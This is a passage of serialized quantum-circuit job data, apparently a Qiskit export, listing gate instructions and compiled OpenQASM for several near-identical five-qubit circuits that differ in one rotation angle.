q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1291', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.300000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1293', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1295', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1297', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) 